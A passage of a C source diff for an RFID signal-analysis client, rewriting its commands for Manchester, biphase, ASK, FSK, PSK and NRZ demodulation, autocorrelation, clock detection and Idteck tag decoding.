== 0) { - PrintAndLog("needs a window"); - return 0; - } - if (window >= GraphTraceLen) { - PrintAndLog("window must be smaller than trace (%d samples)", - GraphTraceLen); - return 0; - } + return ASKDemod(Cmd, true, true, 1); +} - PrintAndLog("performing %d correlations", GraphTraceLen - window); +//by marshmellow +//manchester decode +//stricktly take 10 and 01 and convert to 0 and 1 +int Cmdmandecoderaw(const char *Cmd) +{ + int i = 0; + int errCnt = 0; + size_t size = 0; + int invert = 0; + int maxErr = 20; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 5 || cmdp == 'h' || cmdp == 'H') return usage_data_manrawdecode(); - for (int i = 0; i < GraphTraceLen - window; ++i) { - int sum = 0; - for (int j = 0; j < window; ++j) { - sum += (GraphBuffer[j]*GraphBuffer[i + j]) / 256; - } - CorrelBuffer[i] = sum; - } - GraphTraceLen = GraphTraceLen - window; - memcpy(GraphBuffer, CorrelBuffer, GraphTraceLen * sizeof (int)); + if (DemodBufferLen==0) return 0; + uint8_t BitStream[MAX_DEMOD_BUF_LEN]={0}; + int high = 0, low = 0; + for (; i < DemodBufferLen; ++i){ + if (DemodBuffer[i] > high) + high=DemodBuffer[i]; + else if(DemodBuffer[i] < low) + low=DemodBuffer[i]; + BitStream[i] = DemodBuffer[i]; + } + if (high>7 || low <0 ){ + PrintAndLogEx(WARNING, "Error: please raw demod the wave first then manchester raw decode"); + return 0; + } - RepaintGraphWindow(); - return 0; + sscanf(Cmd, "%i %i", &invert, &maxErr); + size = i; + uint8_t alignPos = 0; + errCnt = manrawdecode(BitStream, &size, invert, &alignPos); + if (errCnt >= maxErr){ + PrintAndLogEx(WARNING, "Too many errors: %d",errCnt); + return 0; + } + PrintAndLogEx(NORMAL, "Manchester Decoded - # errors:%d - data:",errCnt); + PrintAndLogEx(NORMAL, "%s", sprint_bin_break(BitStream, size, 16)); + if (errCnt == 0){ + uint64_t id = 0; + uint32_t hi = 0; + size_t idx=0; + if (Em410xDecode(BitStream, &size, &idx, &hi, &id)){ + //need to adjust to set bitstream back to manchester encoded data + //setDemodBuf(BitStream, size, idx); + printEM410x(hi, id); + } + } + return 1; +} + +//by marshmellow +//biphase decode +//take 01 or 10 = 0 and 11 or 00 = 1 +//takes 2 arguments "offset" default = 0 if 1 it will shift the decode by one bit +// and "invert" default = 0 if 1 it will invert output +// the argument offset allows us to manually shift if the output is incorrect - [EDIT: now auto detects] +int CmdBiphaseDecodeRaw(const char *Cmd) +{ + size_t size=0; + int offset=0, invert=0, maxErr=20, errCnt=0; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 3 || cmdp == 'h' || cmdp == 'H') return usage_data_biphaserawdecode(); + + sscanf(Cmd, "%i %i %i", &offset, &invert, &maxErr); + if (DemodBufferLen==0){ + PrintAndLogEx(NORMAL, "DemodBuffer Empty - run 'data rawdemod ar' first"); + return 0; + } + uint8_t BitStream[MAX_DEMOD_BUF_LEN]={0}; + size = sizeof(BitStream); + if ( !getDemodBuf(BitStream, &size) ) return 0; + errCnt=BiphaseRawDecode(BitStream, &size, &offset, invert); + if (errCnt < 0){ + PrintAndLogEx(WARNING, "Error during decode:%d", errCnt); + return 0; + } + if (errCnt > maxErr){ + PrintAndLogEx(WARNING, "Too many errors attempting to decode: %d",errCnt); + return 0; + } + + if (errCnt > 0) + PrintAndLogEx(WARNING, "# Errors found during Demod (shown as 7 in bit stream): %d",errCnt); + + PrintAndLogEx(NORMAL, "Biphase Decoded using offset: %d - # invert:%d - data:",offset,invert); + PrintAndLogEx(NORMAL, "%s", sprint_bin_break(BitStream, size, 16)); + + if (offset) + setDemodBuf(DemodBuffer,DemodBufferLen-offset, offset); //remove first bit from raw demod + setClockGrid(g_DemodClock, g_DemodStartIdx + g_DemodClock*offset/2); + return 1; +} + +//by marshmellow +// - ASK Demod then Biphase decode GraphBuffer samples +int ASKbiphaseDemod(const char *Cmd, bool verbose) +{ + //ask raw demod GraphBuffer first + int offset=0, clk=0, invert=0, maxErr=0; + sscanf(Cmd, "%i %i %i %i", &offset, &clk, &invert, &maxErr); + + uint8_t BitStream[MAX_DEMOD_BUF_LEN]; + size_t size = getFromGraphBuf(BitStream); + if (size == 0 ) { + PrintAndLogEx(DEBUG, "DEBUG: no data in graphbuf"); + return 0; + } + int startIdx = 0; + //invert here inverts the ask raw demoded bits which has no effect on the demod, but we need the pointer + int errCnt = askdemod_ext(BitStream, &size, &clk, &invert, maxErr, 0, 0, &startIdx); + if ( errCnt < 0 || errCnt > maxErr ) { + PrintAndLogEx(DEBUG, "DEBUG: no data or error found %d, clock: %d", errCnt, clk); + return 0; + } + + //attempt to Biphase decode BitStream + errCnt = BiphaseRawDecode(BitStream, &size, &offset, invert); + if (errCnt < 0){ + if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: Error BiphaseRawDecode: %d", errCnt); + return 0; + } + if (errCnt > maxErr) { + if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: Error BiphaseRawDecode too many errors: %d", errCnt); + return 0; + } + //success set DemodBuffer and return + setDemodBuf(BitStream, size, 0); + setClockGrid(clk, startIdx + clk*offset/2); + if (g_debugMode || verbose){ + PrintAndLogEx(NORMAL, "Biphase Decoded using offset: %d - clock: %d - # errors:%d - data:",offset,clk,errCnt); + printDemodBuff(); + } + return 1; +} +//by marshmellow - see ASKbiphaseDemod +int Cmdaskbiphdemod(const char *Cmd) +{ + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 25 || cmdp == 'h' || cmdp == 'H') return usage_data_rawdemod_ab(); + + return ASKbiphaseDemod(Cmd, true); +} + +//by marshmellow - see ASKDemod +int Cmdaskrawdemod(const char *Cmd) +{ + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 25 || cmdp == 'h' || cmdp == 'H') return usage_data_rawdemod_ar(); + + return ASKDemod(Cmd, true, false, 0); +} + +int AutoCorrelate(const int *in, int *out, size_t len, int window, bool SaveGrph, bool verbose) { + // sanity check + if ( window > len ) window = len; + + if (verbose) PrintAndLogEx(INFO, "performing %d correlations", GraphTraceLen - window); + + //test + double autocv = 0.0; // Autocovariance value + double ac_value; // Computed autocorrelation value to be returned + double variance; // Computed variance + double mean; + size_t correlation = 0; + int lastmax = 0; + + // in, len, 4000 + mean = compute_mean(in, len); + variance = compute_variance(in, len); + + static int CorrelBuffer[MAX_GRAPH_TRACE_LEN]; + + for (int i = 0; i < len - window; ++i) { + + for (size_t j=0; j < (len - i); j++) { + autocv += (in[j] - mean) * (in[j+i] - mean); + } + autocv = (1.0 / (len - i)) * autocv; + + CorrelBuffer[i] = autocv; + + // Autocorrelation is autocovariance divided by variance + ac_value = autocv / variance; + + // keep track of which distance is repeating. + if ( ac_value > 1) { + correlation = i-lastmax; + lastmax = i; + } + } + + if (verbose && ( correlation > 1 ) ) { + PrintAndLogEx(SUCCESS, "possible correlation %4d samples", correlation); + } else { + PrintAndLogEx(FAILED, "no repeating pattern found"); + } + + if (SaveGrph){ + //GraphTraceLen = GraphTraceLen - window; + memcpy(out, CorrelBuffer, len * sizeof(int)); + RepaintGraphWindow(); + } + return correlation; +} + +int CmdAutoCorr(const char *Cmd) { + + uint32_t window = 4000; + uint8_t cmdp = 0; + bool updateGrph = false; + bool errors = false; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_data_autocorr(); + case 'g': + updateGrph = true; + cmdp++; + break; + case 'w': + window = param_get32ex(Cmd, cmdp+1, 4000, 10); + if (window >= GraphTraceLen) { + PrintAndLogEx(WARNING, "window must be smaller than trace (%d samples)", GraphTraceLen); + errors = true; + } + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors || cmdp == 0 ) return usage_data_autocorr(); + + return AutoCorrelate(GraphBuffer, GraphBuffer, GraphTraceLen, window, updateGrph, true); } int CmdBitsamples(const char *Cmd) { - int cnt = 0; - uint8_t got[12288]; - - GetFromBigBuf(got,sizeof(got),0); - WaitForResponse(CMD_ACK,NULL); + int cnt = 0; + uint8_t got[12288]; - for (int j = 0; j < sizeof(got); j++) { - for (int k = 0; k < 8; k++) { - if(got[j] & (1 << (7 - k))) { - GraphBuffer[cnt++] = 1; - } else { - GraphBuffer[cnt++] = 0; - } - } - } - GraphTraceLen = cnt; - RepaintGraphWindow(); - return 0; -} - -/* - * Convert to a bitstream - */ -int CmdBitstream(const char *Cmd) -{ - int i, j; - int bit; - int gtl; - int clock; - int low = 0; - int high = 0; - int hithigh, hitlow, first; - - /* Detect high and lows and clock */ - for (i = 0; i < GraphTraceLen; ++i) - { - if (GraphBuffer[i] > high) - high = GraphBuffer[i]; - else if (GraphBuffer[i] < low) - low = GraphBuffer[i]; - } - - /* Get our clock */ - clock = GetClock(Cmd, high, 1); - gtl = ClearGraph(0); - - bit = 0; - for (i = 0; i < (int)(gtl / clock); ++i) - { - hithigh = 0; - hitlow = 0; - first = 1; - /* Find out if we hit both high and low peaks */ - for (j = 0; j < clock; ++j) - { - if (GraphBuffer[(i * clock) + j] == high) - hithigh = 1; - else if (GraphBuffer[(i * clock) + j] == low) - hitlow = 1; - /* it doesn't count if it's the first part of our read - because it's really just trailing from the last sequence */ - if (first && (hithigh || hitlow)) - hithigh = hitlow = 0; - else - first = 0; - - if (hithigh && hitlow) - break; - } - - /* If we didn't hit both high and low peaks, we had a bit transition */ - if (!hithigh || !hitlow) - bit ^= 1; - - AppendGraph(0, clock, bit); -// for (j = 0; j < (int)(clock/2); j++) -// GraphBuffer[(i * clock) + j] = bit ^ 1; -// for (j = (int)(clock/2); j < clock; j++) -// GraphBuffer[(i * clock) + j] = bit; - } - - RepaintGraphWindow(); - return 0; + if (!GetFromDevice(BIG_BUF, got, sizeof(got), 0, NULL, 2500 , false)) { + PrintAndLogEx(WARNING, "command execution time out"); + return false; + } + + for (int j = 0; j < sizeof(got); j++) { + for (int k = 0; k < 8; k++) { + if(got[j] & (1 << (7 - k))) + GraphBuffer[cnt++] = 1; + else + GraphBuffer[cnt++] = 0; + } + } + GraphTraceLen = cnt; + RepaintGraphWindow(); + return 0; } int CmdBuffClear(const char *Cmd) { - UsbCommand c = {CMD_BUFF_CLEAR}; - SendCommand(&c); - ClearGraph(true); - return 0; + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_data_buffclear(); + + UsbCommand c = {CMD_BUFF_CLEAR, {0,0,0}}; + clearCommandBuffer(); + SendCommand(&c); + ClearGraph(true); + return 0; } int CmdDec(const char *Cmd) { - for (int i = 0; i < (GraphTraceLen / 2); ++i) - GraphBuffer[i] = GraphBuffer[i * 2]; - GraphTraceLen /= 2; - PrintAndLog("decimated by 2"); - RepaintGraphWindow(); - return 0; + for (int i = 0; i < (GraphTraceLen / 2); ++i) + GraphBuffer[i] = GraphBuffer[i * 2]; + GraphTraceLen /= 2; + PrintAndLogEx(NORMAL, "decimated by 2"); + RepaintGraphWindow(); + return 0; +} +/** + * Undecimate - I'd call it 'interpolate', but we'll save that + * name until someone does an actual interpolation command, not just + * blindly repeating samples + * @param Cmd + * @return + */ +int CmdUndec(const char *Cmd) +{ + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_data_undecimate(); + + uint8_t factor = param_get8ex(Cmd, 0, 2, 10); + + //We have memory, don't we? + int swap[MAX_GRAPH_TRACE_LEN] = {0}; + uint32_t g_index = 0, s_index = 0; + while(g_index < GraphTraceLen && s_index + factor < MAX_GRAPH_TRACE_LEN) + { + int count = 0; + for (count = 0; count < factor && s_index + count < MAX_GRAPH_TRACE_LEN; count++) + swap[s_index+count] = GraphBuffer[g_index]; + s_index += count; + g_index++; + } + + memcpy(GraphBuffer, swap, s_index * sizeof(int)); + GraphTraceLen = s_index; + RepaintGraphWindow(); + return 0; +} + +//by marshmellow +//shift graph zero up or down based on input + or - +int CmdGraphShiftZero(const char *Cmd) { + int shift = 0, shiftedVal = 0; + //set options from parameters entered with the command + sscanf(Cmd, "%i", &shift); + + for(int i = 0; i < GraphTraceLen; i++){ + if ( i+shift >= GraphTraceLen) + shiftedVal = GraphBuffer[i]; + else + shiftedVal = GraphBuffer[i] + shift; + + if (shiftedVal > 127) + shiftedVal = 127; + else if (shiftedVal < -127) + shiftedVal = -127; + GraphBuffer[i] = shiftedVal; + } + CmdNorm(""); + return 0; +} + +int AskEdgeDetect(const int *in, int *out, int len, int threshold) { + int last = 0; + for(int i = 1; i= threshold) //large jump up + last = 127; + else if (in[i] - in[i-1] <= -1 * threshold) //large jump down + last = -127; + out[i-1] = last; + } + return 0; +} + +//by marshmellow +//use large jumps in read samples to identify edges of waves and then amplify that wave to max +//similar to dirtheshold, threshold commands +//takes a threshold length which is the measured length between two samples then determines an edge +int CmdAskEdgeDetect(const char *Cmd) { + int thresLen = 25; + int ans = 0; + sscanf(Cmd, "%i", &thresLen); + + ans = AskEdgeDetect(GraphBuffer, GraphBuffer, GraphTraceLen, thresLen); + RepaintGraphWindow(); + return ans; } /* Print our clock rate */ +// uses data from graphbuffer +// adjusted to take char parameter for type of modulation to find the clock - by marshmellow. int CmdDetectClockRate(const char *Cmd) { - int clock = DetectClock(0); - PrintAndLog("Auto-detected clock rate: %d", clock); - return 0; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 6 || strlen(Cmd) == 0 || cmdp == 'h' || cmdp == 'H') + return usage_data_detectclock(); + + int clock = 0; + switch ( tolower(cmdp) ) { + case 'a' : + clock = GetAskClock(Cmd+1, true); + break; + case 'f' : + clock = GetFskClock("", true); + break; + case 'n' : + clock = GetNrzClock("", true); + break; + case 'p' : + clock = GetPskClock("", true); + break; + default : + PrintAndLogEx(NORMAL, "Please specify a valid modulation to detect the clock of - see option h for help"); + break; + } + RepaintGraphWindow(); + return clock; } -int CmdFSKdemod(const char *Cmd) +char *GetFSKType(uint8_t fchigh, uint8_t fclow, uint8_t invert) { - static const int LowTone[] = { - 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, - 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, - 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, - 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, - 1, 1, 1, 1, 1, -1, -1, -1, -1, -1 - }; - static const int HighTone[] = { - 1, 1, 1, 1, 1, -1, -1, -1, -1, - 1, 1, 1, 1, -1, -1, -1, -1, - 1, 1, 1, 1, -1, -1, -1, -1, - 1, 1, 1, 1, -1, -1, -1, -1, - 1, 1, 1, 1, -1, -1, -1, -1, - 1, 1, 1, 1, -1, -1, -1, -1, -1, - }; + static char fType[8]; + memset(fType, 0x00, 8); + char *fskType = fType; + if (fchigh==10 && fclow==8){ + if (invert) //fsk2a + memcpy(fskType, "FSK2a", 5); + else //fsk2 + memcpy(fskType, "FSK2", 4); + } else if (fchigh == 8 && fclow == 5) { + if (invert) + memcpy(fskType, "FSK1", 4); + else + memcpy(fskType, "FSK1a", 5); + } else { + memcpy(fskType, "FSK??", 5); + } + return fskType; +} - int lowLen = sizeof (LowTone) / sizeof (int); - int highLen = sizeof (HighTone) / sizeof (int); - int convLen = (highLen > lowLen) ? highLen : lowLen; - uint32_t hi = 0, lo = 0; +//by marshmellow +//fsk raw demod and print binary +//takes 4 arguments - Clock, invert, fchigh, fclow +//defaults: clock = 50, invert=1, fchigh=10, fclow=8 (RF/10 RF/8 (fsk2a)) +int FSKrawDemod(const char *Cmd, bool verbose) +{ + //raw fsk demod no manchester decoding no start bit finding just get binary from wave + uint8_t rfLen, invert, fchigh, fclow; - int i, j; - int minMark = 0, maxMark = 0; + //set defaults + //set options from parameters entered with the command + rfLen = param_get8(Cmd, 0); + invert = param_get8(Cmd, 1); + fchigh = param_get8(Cmd, 2); + fclow = param_get8(Cmd, 3); + if (strlen(Cmd)>0 && strlen(Cmd)<=2) { + if (rfLen==1) { + invert = 1; //if invert option only is used + rfLen = 0; + } + } - for (i = 0; i < GraphTraceLen - convLen; ++i) { - int lowSum = 0, highSum = 0; + uint8_t BitStream[MAX_GRAPH_TRACE_LEN]={0}; + size_t BitLen = getFromGraphBuf(BitStream); + if (BitLen==0) return 0; + //get field clock lengths + uint16_t fcs=0; + if (!fchigh || !fclow) { + fcs = countFC(BitStream, BitLen, 1); + if (!fcs) { + fchigh = 10; + fclow = 8; + } else { + fchigh = (fcs >> 8) & 0x00FF; + fclow = fcs & 0x00FF; + } + } + //get bit clock length + if (!rfLen) { + int firstClockEdge = 0; //todo - align grid on graph with this... + rfLen = detectFSKClk(BitStream, BitLen, fchigh, fclow, &firstClockEdge); + if (!rfLen) rfLen = 50; + } + int startIdx = 0; + int size = fskdemod(BitStream, BitLen, rfLen, invert, fchigh, fclow, &startIdx); + if (size > 0) { + setDemodBuf(BitStream, size, 0); + setClockGrid(rfLen, startIdx); - for (j = 0; j < lowLen; ++j) { - lowSum += LowTone[j]*GraphBuffer[i+j]; - } - for (j = 0; j < highLen; ++j) { - highSum += HighTone[j] * GraphBuffer[i + j]; - } - lowSum = abs(100 * lowSum / lowLen); - highSum = abs(100 * highSum / highLen); - GraphBuffer[i] = (highSum << 16) | lowSum; - } + // Now output the bitstream to the scrollback by line of 16 bits + if (verbose || g_debugMode) { + PrintAndLogEx(DEBUG, "DEBUG: (FSKrawDemod) Using Clock:%u, invert:%u, fchigh:%u, fclow:%u", rfLen, invert, fchigh, fclow); + PrintAndLogEx(NORMAL, "%s decoded bitstream:", GetFSKType(fchigh, fclow, invert)); + printDemodBuff(); + } + return 1; + } else { + if (g_debugMode) PrintAndLogEx(NORMAL, "no FSK data found"); + } + return 0; +} - for(i = 0; i < GraphTraceLen - convLen - 16; ++i) { - int lowTot = 0, highTot = 0; - // 10 and 8 are f_s divided by f_l and f_h, rounded - for (j = 0; j < 10; ++j) { - lowTot += (GraphBuffer[i+j] & 0xffff); - } - for (j = 0; j < 8; j++) { - highTot += (GraphBuffer[i + j] >> 16); - } - GraphBuffer[i] = lowTot - highTot; - if (GraphBuffer[i] > maxMark) maxMark = GraphBuffer[i]; - if (GraphBuffer[i] < minMark) minMark = GraphBuffer[i]; - } +//by marshmellow +//fsk raw demod and print binary +//takes 4 arguments - Clock, invert, fchigh, fclow +//defaults: clock = 50, invert=1, fchigh=10, fclow=8 (RF/10 RF/8 (fsk2a)) +int CmdFSKrawdemod(const char *Cmd) +{ + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 20 || cmdp == 'h' || cmdp == 'H') return usage_data_rawdemod_fs(); - GraphTraceLen -= (convLen + 16); - RepaintGraphWindow(); + return FSKrawDemod(Cmd, true); +} - // Find bit-sync (3 lo followed by 3 high) - int max = 0, maxPos = 0; - for (i = 0; i < 6000; ++i) { - int dec = 0; - for (j = 0; j < 3 * lowLen; ++j) { - dec -= GraphBuffer[i + j]; - } - for (; j < 3 * (lowLen + highLen ); ++j) { - dec += GraphBuffer[i + j]; - } - if (dec > max) { - max = dec; - maxPos = i; - } - } +//by marshmellow +//attempt to psk1 demod graph buffer +int PSKDemod(const char *Cmd, bool verbose) +{ + int invert = 0, clk = 0, maxErr = 100; + sscanf(Cmd, "%i %i %i", &clk, &invert, &maxErr); + if (clk == 1){ + invert = 1; + clk=0; + } + if (invert != 0 && invert != 1) { + if (g_debugMode || verbose) PrintAndLogEx(WARNING, "Invalid argument: %s", Cmd); + return 0; + } + uint8_t BitStream[MAX_GRAPH_TRACE_LEN] = {0}; + size_t BitLen = getFromGraphBuf(BitStream); + if (BitLen == 0) return 0; + int errCnt = 0; + int startIdx = 0; + errCnt = pskRawDemod_ext(BitStream, &BitLen, &clk, &invert, &startIdx); + if (errCnt > maxErr){ + if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) Too many errors found, clk: %d, invert: %d, numbits: %d, errCnt: %d", clk, invert, BitLen, errCnt); + return 0; + } + if (errCnt<0|| BitLen<16){ //throw away static - allow 1 and -1 (in case of threshold command first) + if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) no data found, clk: %d, invert: %d, numbits: %d, errCnt: %d", clk, invert, BitLen, errCnt); + return 0; + } + if (verbose || g_debugMode){ + PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) Using Clock:%d, invert:%d, Bits Found:%d",clk,invert,BitLen); + if (errCnt > 0){ + PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) errors during Demoding (shown as 7 in bit stream): %d",errCnt); + } + } + //prime demod buffer for output + setDemodBuf(BitStream, BitLen, 0); + setClockGrid(clk, startIdx); + return 1; +} - // place start of bit sync marker in graph - GraphBuffer[maxPos] = maxMark; - GraphBuffer[maxPos + 1] = minMark; +int CmdPSKIdteck(const char *Cmd) { - maxPos += j; + if (!PSKDemod("", false)) { + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck PSKDemod failed"); + return 0; + } + size_t size = DemodBufferLen; - // place end of bit sync marker in graph - GraphBuffer[maxPos] = maxMark; - GraphBuffer[maxPos+1] = minMark; + //get binary from PSK1 wave + int idx = detectIdteck(DemodBuffer, &size); + if (idx < 0){ - PrintAndLog("actual data bits start at sample %d", maxPos); - PrintAndLog("length %d/%d", highLen, lowLen); + if (idx == -1) + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: not enough samples"); + else if (idx == -2) + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: preamble not found"); + else if (idx == -3) + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: size not correct: %d", size); + else + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: idx: %d",idx); + + // if didn't find preamble try again inverting + if (!PSKDemod("1", false)) { + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck PSKDemod failed"); + return 0; + } + idx = detectIdteck(DemodBuffer, &size); + if (idx < 0){ + + if (idx == -1) + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: not enough samples"); + else if (idx == -2) + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: preamble not found"); + else if (idx == -3) + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: size not correct: %d", size); + else + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: idx: %d",idx); - uint8_t bits[46]; - bits[sizeof(bits)-1] = '\0'; + return 0; + } + } + setDemodBuf(DemodBuffer, 64, idx); + + //got a good demod + uint32_t id = 0; + uint32_t raw1 = bytebits_to_byte(DemodBuffer, 32); + uint32_t raw2 = bytebits_to_byte(DemodBuffer+32, 32); + + //parity check (TBD) + //checksum check (TBD) - // find bit pairs and manchester decode them - for (i = 0; i < arraylen(bits) - 1; ++i) { - int dec = 0; - for (j = 0; j < lowLen; ++j) { - dec -= GraphBuffer[maxPos + j]; - } - for (; j < lowLen + highLen; ++j) { - dec += GraphBuffer[maxPos + j]; - } - maxPos += j; - // place inter bit marker in graph - GraphBuffer[maxPos] = maxMark; - GraphBuffer[maxPos + 1] = minMark; + //output + PrintAndLogEx(SUCCESS, "IDTECK Tag Found: Card ID %u , Raw: %08X%08X", id, raw1, raw2); + return 1; +} - // hi and lo form a 64 bit pair - hi = (hi << 1) | (lo >> 31); - lo = (lo << 1); - // store decoded bit as binary (in hi/lo) and text (in bits[]) - if(dec < 0) { - bits[i] = '1'; - lo |= 1; - } else { - bits[i] = '0'; - } - } - PrintAndLog("bits: '%s'", bits); - PrintAndLog("hex: %08x %08x", hi, lo); - return 0; +// by marshmellow +// takes 3 arguments - clock, invert, maxErr as integers +// attempts to demodulate nrz only +// prints binary found and saves in demodbuffer for further commands +int NRZrawDemod(const char *Cmd, bool verbose) +{ + int invert=0; + int clk=0; + int maxErr=100; + sscanf(Cmd, "%i %i %i", &clk, &invert, &maxErr); + if (clk==1){ + invert=1; + clk=0; + } + if (invert != 0 && invert != 1) { + PrintAndLogEx(WARNING, "(NRZrawDemod) Invalid argument: %s", Cmd); + return 0; + } + uint8_t BitStream[MAX_GRAPH_TRACE_LEN]={0}; + size_t BitLen = getFromGraphBuf(BitStream); + if (BitLen==0) return 0; + int errCnt=0; + int clkStartIdx = 0; + errCnt = nrzRawDemod(BitStream, &BitLen, &clk, &invert, &clkStartIdx); + if (errCnt > maxErr){ + PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) Too many errors found, clk: %d, invert: %d, numbits: %d, errCnt: %d",clk,invert,BitLen,errCnt); + return 0; + } + if (errCnt<0 || BitLen<16){ //throw away static - allow 1 and -1 (in case of threshold command first) + PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) no data found, clk: %d, invert: %d, numbits: %d, errCnt: %d",clk,invert,BitLen,errCnt); + return 0; + } + if (verbose || g_debugMode) PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) Tried NRZ Demod using Clock: %d - invert: %d - Bits Found: %d",clk,invert,BitLen); + //prime demod buffer for output + setDemodBuf(BitStream,BitLen,0); + setClockGrid(clk, clkStartIdx); + + + if (errCnt>0 && (verbose || g_debugMode)) PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) Errors during Demoding (shown as 7 in bit stream): %d",errCnt); + if (verbose || g_debugMode) { + PrintAndLogEx(NORMAL, "NRZ demoded bitstream:"); + // Now output the bitstream to the scrollback by line of 16 bits + printDemodBuff(); + } + return 1; +} + +int CmdNRZrawDemod(const char *Cmd) +{ + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 16 || cmdp == 'h' || cmdp == 'H') return usage_data_rawdemod_nr(); + + return NRZrawDemod(Cmd, true); +} + +// by marshmellow +// takes 3 arguments - clock, invert, maxErr as integers +// attempts to demodulate psk only +// prints binary found and saves in demodbuffer for further commands +int CmdPSK1rawDemod(const char *Cmd) +{ + int ans; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 16 || cmdp == 'h' || cmdp == 'H') return usage_data_rawdemod_p1(); + + ans = PSKDemod(Cmd, true); + //output + if (!ans){ + if (g_debugMode) PrintAndLogEx(WARNING, "Error demoding: %d",ans); + return 0; + } + PrintAndLogEx(NORMAL, "PSK1 demoded bitstream:"); + // Now output the bitstream to the scrollback by line of 16 bits + printDemodBuff(); + return 1; +} + +// by marshmellow +// takes same args as cmdpsk1rawdemod +int CmdPSK2rawDemod(const char *Cmd) +{ + int ans = 0; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 16 || cmdp == 'h' || cmdp == 'H') return usage_data_rawdemod_p2(); + + ans = PSKDemod(Cmd, true); + if (!ans){ + if (g_debugMode) PrintAndLogEx(WARNING, "Error demoding: %d",ans); + return 0; + } + psk1TOpsk2(DemodBuffer, DemodBufferLen); + PrintAndLogEx(NORMAL, "PSK2 demoded bitstream:"); + // Now output the bitstream to the scrollback by line of 16 bits + printDemodBuff(); + return 1; +} + +// by marshmellow - combines all raw demod functions into one menu command +int CmdRawDemod(const char *Cmd) +{ + char cmdp = Cmd[0]; //param_getchar(Cmd, 0); + char cmdp2 = Cmd[1]; + int ans = 0; + + if (strlen(Cmd) > 35 || cmdp == 'h' || cmdp == 'H' || strlen(Cmd) < 2) + return usage_data_rawdemod(); + + if (cmdp == 'f' && cmdp2 == 's') + ans = CmdFSKrawdemod(Cmd+2); + else if(cmdp == 'a' && cmdp2 == 'b') + ans = Cmdaskbiphdemod(Cmd+2); + else if(cmdp == 'a' && cmdp2 == 'm') + ans = Cmdaskmandemod(Cmd+2); + else if(cmdp == 'a' && cmdp2 == 'r') + ans = Cmdaskrawdemod(Cmd+2); + else if(cmdp == 'n' && cmdp2 == 'r') + ans = CmdNRZrawDemod(Cmd+2); + else if(cmdp == 'p' && cmdp2 == '1') + ans = CmdPSK1rawDemod(Cmd+2); + else if(cmdp == 'p' && cmdp2 == '2') + ans = CmdPSK2rawDemod(Cmd+2); + else + PrintAndLogEx(WARNING, "Unknown modulation entered - see help ('h') for parameter structure"); + + return ans; +} + +void setClockGrid(int clk, int offset) { + g_DemodStartIdx = offset; + g_DemodClock = clk; + PrintAndLogEx(DEBUG, "DEBUG: (setClockGrid) demodoffset %d, clk %d", offset, clk); + + if (offset > clk) offset %= clk; + if (offset < 0) offset += clk; + + if (offset > GraphTraceLen || offset < 0) return; + if (clk < 8 || clk > GraphTraceLen) { + GridLocked = false; + GridOffset = 0; + PlotGridX = 0; + PlotGridXdefault = 0; + RepaintGraphWindow(); + } else { + GridLocked = true; + GridOffset = offset; + PlotGridX = clk; + PlotGridXdefault = clk; + RepaintGraphWindow(); + } } int CmdGrid(const char *Cmd) { - sscanf(Cmd, "%i %i", &PlotGridX, &PlotGridY); - PlotGridXdefault= PlotGridX; - PlotGridYdefault= PlotGridY; - RepaintGraphWindow(); - return 0; + sscanf(Cmd, "%i %i", &PlotGridX, &PlotGridY); + PlotGridXdefault = PlotGridX; + PlotGridYdefault = PlotGridY; + RepaintGraphWindow(); + return 0; +} + +int CmdSetGraphMarkers(const char *Cmd) { + sscanf(Cmd, "%i %i", &CursorCPos, &CursorDPos); + RepaintGraphWindow(); + return 0; } int CmdHexsamples(const char *Cmd) { - int i, j; - int requested = 0; - int offset = 0; - char string_buf[25]; - char* string_ptr = string_buf; - uint8_t got[40000]; - - sscanf(Cmd, "%i %i", &requested, &offset); + int i, j; + int requested = 0; + int offset = 0; + char string_buf[25]; + char* string_ptr = string_buf; + uint8_t got[BIGBUF_SIZE]; - /* if no args send something */ - if (requested == 0) { - requested = 8; - } - if (offset + requested > sizeof(got)) { - PrintAndLog("Tried to read past end of buffer, + > 40000"); - return 0; - } + sscanf(Cmd, "%i %i", &requested, &offset); - GetFromBigBuf(got,requested,offset); - WaitForResponse(CMD_ACK,NULL); + /* if no args send something */ + if (requested == 0) { + 